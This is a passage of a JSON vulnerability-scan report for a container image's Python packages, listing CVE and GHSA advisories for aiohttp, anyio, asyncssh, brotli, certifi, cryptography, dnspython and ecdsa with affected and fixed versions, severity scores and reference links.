Request.post(). This issue is fixed in version 3.14.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "ghsa": 3, "oracle-oval": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-111066", "https://advisory.echohq.com/cve/CVE-2026-111066", "https://github.com/aio-libs/aiohttp", "https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09", "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4", "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg", "https://linux.oracle.com/cve/CVE-2026-111066.html", "https://linux.oracle.com/errata/ELSA-2026-604898.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-111066", "https://www.cve.org/CVERecord?id=CVE-2026-111066" ], "PublishedDate": "2026-10-19T17:17:03.637Z", "LastModifiedDate": "2026-10-20T17:17:29.313Z" }, { "VulnerabilityID": "CVE-2026-69244", "VendorIDs": [ "GHSA-cq5v-8q36-5273" ], "PkgName": "aiohttp", "PkgPath": "usr/local/lib/python3.14/site-packages/aiohttp-3.14.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/aiohttp@3.14.1", "UID": "f9c6ae69ac7e3be6" }, "InstalledVersion": "3.14.1", "FixedVersion": "3.14.3", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69244", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:97bbffceb1f39fa73e52f559634adf41aa70ff4065abad36a1373dbddda159e1", "Title": "aiohttp: AIOHTTP: Denial of Service via malformed HTTP responses", "Description": "AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.3, an out-of-bounds heap read could occur in the C response parser while building an error message for a malformed response. An attacker controlled server, or possibly an accidental response, could trigger a DoS in the client. The vulnerable path was error message construction in aiohttp/_http_parser.pyx, where an llhttp error-position pointer was used to build a snippet for malformed chunked responses and malformed request or response bytes at the buffer end. This issue is fixed in version 3.14.3.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-400", "CWE-416" ], "VendorSeverity": { "ghsa": 3, "oracle-oval": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-69244", "https://advisory.echohq.com/cve/CVE-2026-69244", "https://github.com/aio-libs/aiohttp", "https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d", "https://github.com/aio-libs/aiohttp/pull/13223", "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3", "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273", "https://linux.oracle.com/cve/CVE-2026-69244.html", "https://linux.oracle.com/errata/ELSA-2026-604898.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-69244", "https://www.cve.org/CVERecord?id=CVE-2026-69244" ], "PublishedDate": "2026-08-03T21:16:42.273Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "GHSA-2g87-pp6c-29x5", "PkgName": "aiohttp", "PkgPath": "usr/local/lib/python3.14/site-packages/aiohttp-3.14.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/aiohttp@3.14.1", "UID": "f9c6ae69ac7e3be6" }, "InstalledVersion": "3.14.1", "FixedVersion": "3.14.4", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-2g87-pp6c-29x5", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:acb9750162645c4e23fc09a0bafe2fb6c48b750b10b87e89f0c72902feb4d8ae", "Title": "aiohttp: Multiple instances of excessive or unbounded memory/CPU use", "Description": "### Summary\n\nMultiple cases were found where aiohttp could use excessive or unbounded memory, or excessive CPU consumption on attacker controlled requests.\n\n### Impact\n\nAn attacker could cause resource exhaustion through specially crafted requests.", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 } }, "References": [ "https://github.com/aio-libs/aiohttp", "https://github.com/aio-libs/aiohttp/commit/09bcaa73ff084a0c539bbf16a0a78743acb7141f", "https://github.com/aio-libs/aiohttp/commit/0ae507423f681161efa77d20052b4054397c7fb6", "https://github.com/aio-libs/aiohttp/commit/3d850ee9b92573c7e913821cbcb96005beb3f4df", "https://github.com/aio-libs/aiohttp/commit/47babd8c23ca79e2bae6cc8dcb5752b61e369fc7", "https://github.com/aio-libs/aiohttp/commit/615fec3d4f088f30d2ee72cad760152e92aa1c53", "https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa", "https://github.com/aio-libs/aiohttp/commit/6a4f6682817839313b04b8e5cea2b39c1a88ab4f", "https://github.com/aio-libs/aiohttp/commit/8cfbe9abe5e11b84006a10f9bdf82bf607671dab", "https://github.com/aio-libs/aiohttp/commit/a555ab698e08e9baea7386d5b4c0761cb8956fdd", "https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43", "https://github.com/aio-libs/aiohttp/commit/d925a80539ffd227da1d93ab4a5bff123cc777db", "https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4", "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2g87-pp6c-29x5" ], "PublishedDate": "2026-10-19T17:07:23Z", "LastModifiedDate": "2026-10-19T17:07:23Z" }, { "VulnerabilityID": "CVE-2026-63374", "VendorIDs": [ "GHSA-82r6-8w77-94w6" ], "PkgName": "anyio", "PkgPath": "usr/local/lib/python3.14/site-packages/anyio-4.13.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/anyio@4.13.0", "UID": "90a07fee141f5733" }, "InstalledVersion": "4.13.0", "FixedVersion": "4.14.2", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63374", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6c564fc865d0c9914efdba5c0af1214baea8071889529ee907d765a04cd838d4", "Title": "anyio: AnyIO: TLS certificate spoofing via improper internationalized domain name encoding", "Description": "AnyIO is a high level asynchronous concurrency and networking framework that works on top of either Trio or asyncio. Prior to 4.14.2, connect_tcp() and TLSStream.wrap() can validate internationalized host names after the standard library converts them with IDNA 2003 instead of IDNA 2008. When a connection to a non-ASCII domain is hijacked or redirected, an attacker can obtain a legitimate certificate for the different ASCII hostname produced by IDNA 2003 and present it to the client, causing the malicious endpoint's certificate to validate. This issue is fixed in version 4.14.2.", "Severity": "CRITICAL", "CweIDs": [ "CWE-295", "CWE-297" ], "VendorSeverity": { "ghsa": 4, "redhat": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63374", "https://advisory.echohq.com/cve/CVE-2026-63374", "https://github.com/advisories/GHSA-82r6-8w77-94w6", "https://github.com/agronholm/anyio", "https://github.com/agronholm/anyio/commit/68f58915f82d9be8109ebbbd8f5d70577d43f2ce", "https://github.com/agronholm/anyio/pull/1208", "https://github.com/agronholm/anyio/releases/tag/4.14.2", "https://github.com/agronholm/anyio/security/advisories/GHSA-82r6-8w77-94w6", "https://nvd.nist.gov/vuln/detail/CVE-2026-63374", "https://www.cve.org/CVERecord?id=CVE-2026-63374" ], "PublishedDate": "2026-09-22T16:17:50.68Z", "LastModifiedDate": "2026-09-28T17:17:50.357Z" }, { "VulnerabilityID": "CVE-2026-54591", "VendorIDs": [ "GHSA-2wxc-x7rj-hg8f" ], "PkgName": "asyncssh", "PkgPath": "usr/local/lib/python3.14/site-packages/asyncssh-2.21.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/asyncssh@2.21.0", "UID": "f52b4e4d5889ba89" }, "InstalledVersion": "2.21.0", "FixedVersion": "2.23.1", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54591", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5b589c2c51895681de4e5ece6081639d2f73e29ab0ffa40aa62c671d3057c2cd", "Title": "asyncssh: AsyncSSH: Arbitrary file write via path traversal in SCP client", "Description": "AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. Prior to 2.23.1, a malicious SSH server can write arbitrary files on the asyncssh SCP client's filesystem by sending filenames containing ../ traversal sequences because _parse_cd_args in scp.py returns server-provided names verbatim and _recv_files joins them to the destination path without enforcing the target directory boundary. This issue is fixed in version 2.23.1.", "Severity": "HIGH", "CweIDs": [ "CWE-22" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-54591", "https://advisory.echohq.com/cve/CVE-2026-54591", "https://github.com/ronf/asyncssh", "https://github.com/ronf/asyncssh/commit/d730803b8e4e94c20c7580d90f94d1e05f9f58de", "https://github.com/ronf/asyncssh/releases/tag/v2.23.1", "https://github.com/ronf/asyncssh/security/advisories/GHSA-2wxc-x7rj-hg8f", "https://nvd.nist.gov/vuln/detail/CVE-2026-54591", "https://www.cve.org/CVERecord?id=CVE-2026-54591" ], "PublishedDate": "2026-07-08T21:16:49.657Z", "LastModifiedDate": "2026-10-25T17:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-111497", "VendorIDs": [ "GHSA-9v8h-qqgm-4m35" ], "PkgName": "brotli", "PkgPath": "usr/local/lib/python3.14/site-packages/brotli-1.2.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/brotli@1.2.0", "UID": "4dba2e2ac117fd39" }, "InstalledVersion": "1.2.0", "FixedVersion": "1.2.1", "Status": "fixed", "Layer": { "DiffID": "sha256:2db683111a32c73fe3776d9705685182c70caa7c4d83770e3b000023633e63bd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111497", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:769fe6025c29750b0844ba01594fac1ce32c5adce803e5dbcb85de16ebe533bd", "Title": "brotli: Out-of-Bounds Write in Google Brotli Decoder", "Description": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", "Severity": "CRITICAL", "CweIDs": [ "CWE-252", "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V3Score": 9.8, "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/23/25", "http://www.openwall.com/lists/oss-security/2026/10/24/6", "http://www.openwall.com/lists/oss-security/2026/10/26/12", "http://www.openwall.com/lists/oss-security/2026/10/26/13", "http://www.openwall.com/lists/oss-security/2026/10/26/16", "http://www.openwall.com/lists/oss-security/2026/11/03/2", "https://access.redhat.com/errata/RHSA-2026:90495", "https://access.redhat.com/errata/RHSA-2026:92492", "https://access.redhat.com/security/cve/CVE-2026-111497", "https://advisory.echohq.com/cve/CVE-2026-111497", "https://broccoli2shell.com", "https://bugzilla.redhat.com/2558973", "https://bugzilla.redhat.com/2562054", "https://bugzilla.redhat.com/show_bug.cgi?id=2558973", "https://cert-portal.siemens.com/productcert/html/ssa-045512.html", "https://cert-portal.siemens.com/productcert/html/ssa-443410.html", "https://cert-portal.siemens.com/productcert/html/ssa-898633.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111497", "https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds", "https://ellio.tech/en/blog/node2shell-cve-2026-111497-rce-on-stock-nodejs-builds/", "https://errata.almalinux.org/9/ALSA-2026-92492.html", "https://errata.rockylinux.org/RLSA-2026:90495", "https://github.com/advisories/GHSA-9v8h-qqgm-4m35", "https://github.com/andybalholm/brotli/releases/tag/v1.2.7", "https://github.com/dotnet/announcements/issues/494", "https://github.com/google/brotli", "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b", "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0", "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6", "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12", "https://github.com/google/brotli/releases/tag/v1.0.10", "https://github.com/google/brotli/releases/tag/v1.1.1", "https://github.com/google/brotli/releases/tag/v1.2.1", "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml", "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml", "https://linux.oracle.com/cve/CVE-2026-111497.html", "https://linux.oracle.com/errata/ELSA-2026-92492.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00049.html", "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-114148", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases", "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high", "https://nvd.nist.gov/vuln/detail/CVE-2026-111497", "https://opensourcemalware.com/blog/node2shell-affects-python", "https://patchtheplanet.org/brotli", "https://pypi.org/project/Brotli", "https://pypi.org/project/brotlicffi", "https://ubuntu.com/security/notices/USN-8956-1", "https://ubuntu.com/security/notices/USN-8956-2", "https://ubuntu.com/security/notices/USN-8958-1", "https://www.aikido.dev/blog/node2shell-nodejs-brotli-rce-cve-2026-111497", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497", "https://www.cve.org/CVERecord?id=CVE-2026-111497" ], "PublishedDate": "2026-10-22T14:17:37.19Z", "LastModifiedDate": "2026-11-06T16:17:37.393Z" }, { "VulnerabilityID": "GHSA-6q48-6c7w-9gw2", "PkgName": "certifi", "PkgPath": "usr/local/lib/python3.14/site-packages/certifi-2026.6.17.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/certifi@2026.6.17", "UID": "8587bb1c6cc3e07c" }, "InstalledVersion": "2026.6.17", "FixedVersion": "2026.10.18", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:944c2f1c3d9ec66bece4c4472e8988af5bdd186736ca892fa582471d2c8d9289", "Title": "certifi bundles emSign root CAs with compromised intermediate CA keys", "Description": "Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. \n\nAn attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.\n\nCertifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.", "Severity": "CRITICAL", "VendorSeverity": { "ghsa": 4 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 9.1 } }, "References": [ "https://advisory.echohq.com/cve/GHSA-6q48-6c7w-9gw2", "https://discuss.python.org/t/information-for-python-users-regarding-emudhra-emsign-ca-certificate-security-incident/109576", "https://emudhra.we-have-a-problem.com", "https://github.com/advisories/GHSA-6q48-6c7w-9gw2", "https://github.com/certifi/python-certifi", "https://github.com/certifi/python-certifi/security/advisories/GHSA-6q48-6c7w-9gw2" ], "PublishedDate": "2026-10-20T19:35:05Z", "LastModifiedDate": "2026-10-26T16:02:12Z" }, { "VulnerabilityID": "CVE-2026-69247", "VendorIDs": [ "GHSA-g6cj-pr64-35w5" ], "PkgName": "cryptography", "PkgPath": "usr/local/lib/python3.14/site-packages/cryptography-48.0.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cryptography@48.0.1", "UID": "1913c32f26e4d265" }, "InstalledVersion": "48.0.1", "FixedVersion": "50.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69247", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0c5079a46f3c195f5e775af04af7120438a11cc82693ea26528968ecd8a3b454", "Title": "python-cryptography: python-cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing", "Description": "cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. From 44.0.0 until 50.0.0, pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the outcome of decrypting a RecipientInfo's encryptedKey in several distinguishable ways, one of which disclosed the exact length recovered from the RSA operation. The same distinction was also observable by timing. An application that decrypts attacker-supplied EnvelopedData and reflects the outcome gives the attacker a Bleichenbacher oracle against the content-encryption key. Decryption ran as RSA PKCS#1 v1.5 decrypt of encryptedKey, build an AES cipher from the result, then AES-CBC decrypt and PKCS#7 unpad. Invalid RSA padding, a valid padding with a bad key length, a correct length with a wrong key, and the real key each failed or succeeded differently. Case 1 is reachable only where the linked library lacks implicit rejection: OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. Exploitation requires a service that auto-decrypts untrusted EnvelopedData matching the victim certificate and answers adaptively at high volume, such as an S/MIME gateway or mail filter. This issue is fixed in 50.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-208", "CWE-209" ], "VendorSeverity": { "ghsa": 3, "photon": 2, "redhat": 2, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-69247", "https://advisory.echohq.com/cve/CVE-2026-69247", "https://github.com/pyca/cryptography", "https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f", "https://github.com/pyca/cryptography/pull/15369", "https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5", "https://nvd.nist.gov/vuln/detail/CVE-2026-69247", "https://ubuntu.com/security/notices/USN-8776-1", "https://www.cve.org/CVERecord?id=CVE-2026-69247" ], "PublishedDate": "2026-08-03T22:16:52.38Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-69249", "VendorIDs": [ "GHSA-jwv3-5hgf-82ww" ], "PkgName": "cryptography", "PkgPath": "usr/local/lib/python3.14/site-packages/cryptography-48.0.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/cryptography@48.0.1", "UID": "1913c32f26e4d265" }, "InstalledVersion": "48.0.1", "FixedVersion": "49.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-69249", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:71188fc2cd21909f19287a9dc40d2c513f93356c711184b92f9fe9884597edcc", "Title": "python-cryptography: python-cryptography: Duplicate self-signed intermediates can cause exponential path-building", "Description": "python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "alma": 3, "azure": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64774", "https://access.redhat.com/security/cve/CVE-2026-69249", "https://advisory.echohq.com/cve/CVE-2026-69249", "https://bugzilla.redhat.com/2510815", "https://bugzilla.redhat.com/2510830", "https://bugzilla.redhat.com/show_bug.cgi?id=2510815", "https://bugzilla.redhat.com/show_bug.cgi?id=2510830", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-69248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-69249", "https://errata.almalinux.org/9/ALSA-2026-64774.html", "https://errata.rockylinux.org/RLSA-2026:64774", "https://github.com/pyca/cryptography", "https://github.com/pyca/cryptography/commit/3763aa79b", "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582", "https://github.com/pyca/cryptography/pull/14960", "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww", "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml", "https://linux.oracle.com/cve/CVE-2026-69249.html", "https://linux.oracle.com/errata/ELSA-2026-71658.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-69249", "https://ubuntu.com/security/notices/USN-8776-1", "https://www.cve.org/CVERecord?id=CVE-2026-69249" ], "PublishedDate": "2026-08-03T22:16:52.72Z", "LastModifiedDate": "2026-10-23T21:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-114605", "VendorIDs": [ "GHSA-45c3-73f7-pv4m" ], "PkgName": "dnspython", "PkgPath": "usr/local/lib/python3.14/site-packages/dnspython-2.8.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/dnspython@2.8.0", "UID": "8c00323732f7d52c" }, "InstalledVersion": "2.8.0", "FixedVersion": "2.9.0", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-114605", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:4a476e95f6eef52363e2311b46b184d39b261cc416fe0921f2eaab78cab7a25f", "Title": "dnspython: dnspython: Denial of Service via excessive DNS compression pointer traversal", "Description": "dnspython is a DNS toolkit for Python. Prior to 2.9.0, dns.name.from_wire_parser follows attacker-controlled DNS compression pointer chains without a hop limit. A malicious DNS wire-format message can force excessive pointer traversal during name decompression, causing high CPU use, application degradation, or denial of service in applications that process untrusted DNS messages. This issue is fixed in version 2.9.0.", "Severity": "HIGH", "CweIDs": [ "CWE-674" ], "VendorSeverity": { "alma": 3, "amazon": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:94749", "https://access.redhat.com/security/cve/CVE-2026-114605", "https://advisory.echohq.com/cve/CVE-2026-114605", "https://bugzilla.redhat.com/2559128", "https://bugzilla.redhat.com/show_bug.cgi?id=2559128", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-114605", "https://errata.almalinux.org/8/ALSA-2026-94749.html", "https://errata.rockylinux.org/RLSA-2026:94749", "https://github.com/rthalley/dnspython", "https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023", "https://github.com/rthalley/dnspython/releases/tag/v2.9.0", "https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m", "https://linux.oracle.com/cve/CVE-2026-114605.html", "https://linux.oracle.com/errata/ELSA-2026-94749.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-114605", "https://www.cve.org/CVERecord?id=CVE-2026-114605" ], "PublishedDate": "2026-10-22T17:16:58.237Z", "LastModifiedDate": "2026-10-29T04:18:24.28Z" }, { "VulnerabilityID": "CVE-2024-23342", "VendorIDs": [ "GHSA-wj6h-64fc-37mp" ], "PkgName": "ecdsa", "PkgPath": "usr/local/lib/python3.14/site-packages/ecdsa-0.19.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/ecdsa@0.19.2", "UID": "e9481f023a0746cd" }, "InstalledVersion": "0.19.2", "Status": "affected", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, 